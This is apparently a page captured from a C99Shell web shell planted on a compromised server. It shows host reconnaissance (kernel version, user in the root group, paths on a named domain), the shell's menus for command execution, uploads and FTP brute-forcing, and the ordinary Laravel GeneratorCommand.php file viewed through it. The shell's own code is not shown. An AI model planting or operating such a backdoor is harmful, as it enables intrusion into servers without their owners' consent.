!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GeneratorCommand.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Console\Command;
use 
Nwidart\Modules\Exceptions\FileAlreadyExistException;
use 
Nwidart\Modules\Generators\FileGenerator;

abstract class 
GeneratorCommand extends Command
{
    
/**
     * The name of 'name' argument.
     *
     * @var string
     */
    
protected $argumentName '';

    
/**
     * Get template contents.
     *
     * @return string
     */
    
abstract protected function getTemplateContents();

    
/**
     * Get the destination file path.
     *
     * @return string
     */
    
abstract protected function getDestinationFilePath();

    
/**
     * Execute the console command.
     */
    
public function handle() : int
    
{
        
$path str_replace('\\''/'$this->getDestinationFilePath());

        if (!
$this->laravel['files']->isDirectory($dir dirname($path))) {
            
$this->laravel['files']->makeDirectory($dir0777true);
        }

        
$contents $this->getTemplateContents();

        try {
            
$overwriteFile $this->hasOption('force') ? $this->option('force') : false;
            (new 
FileGenerator($path$contents))->withFileOverwrite($overwriteFile)->generate();

            
$this->info("Created : {$path}");
        } catch (
FileAlreadyExistException $e) {
            
$this->error("File : {$path} already exists.");

            return 
E_ERROR;
        }

        return 
0;
    }

    
/**
     * Get class name.
     *
     * @return string
     */
    
public function getClass()
    {
        return 
class_basename($this->argument($this->argumentName));
    }

    
/**
     * Get default namespace.
     *
     * @return string
     */
    
public function getDefaultNamespace() : string
    
{
        return 
'';
    }

    
/**
     * Get class namespace.
     *
     * @param \Nwidart\Modules\Module $module
     *
     * @return string
     */
    
public function getClassNamespace($module)
    {
        
$extra str_replace($this->getClass(), ''$this->argument($this->argumentName));

        
$extra str_replace('/''\\'$extra);

        
$namespace $this->laravel['modules']->config('namespace');

        
$namespace .= '\\' $module->getStudlyName();

        
$namespace .= '\\' $this->getDefaultNamespace();

        
$namespace .= '\\' $extra;

        
$namespace str_replace('/''\\'$namespace);

        return 
trim($namespace'\\');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--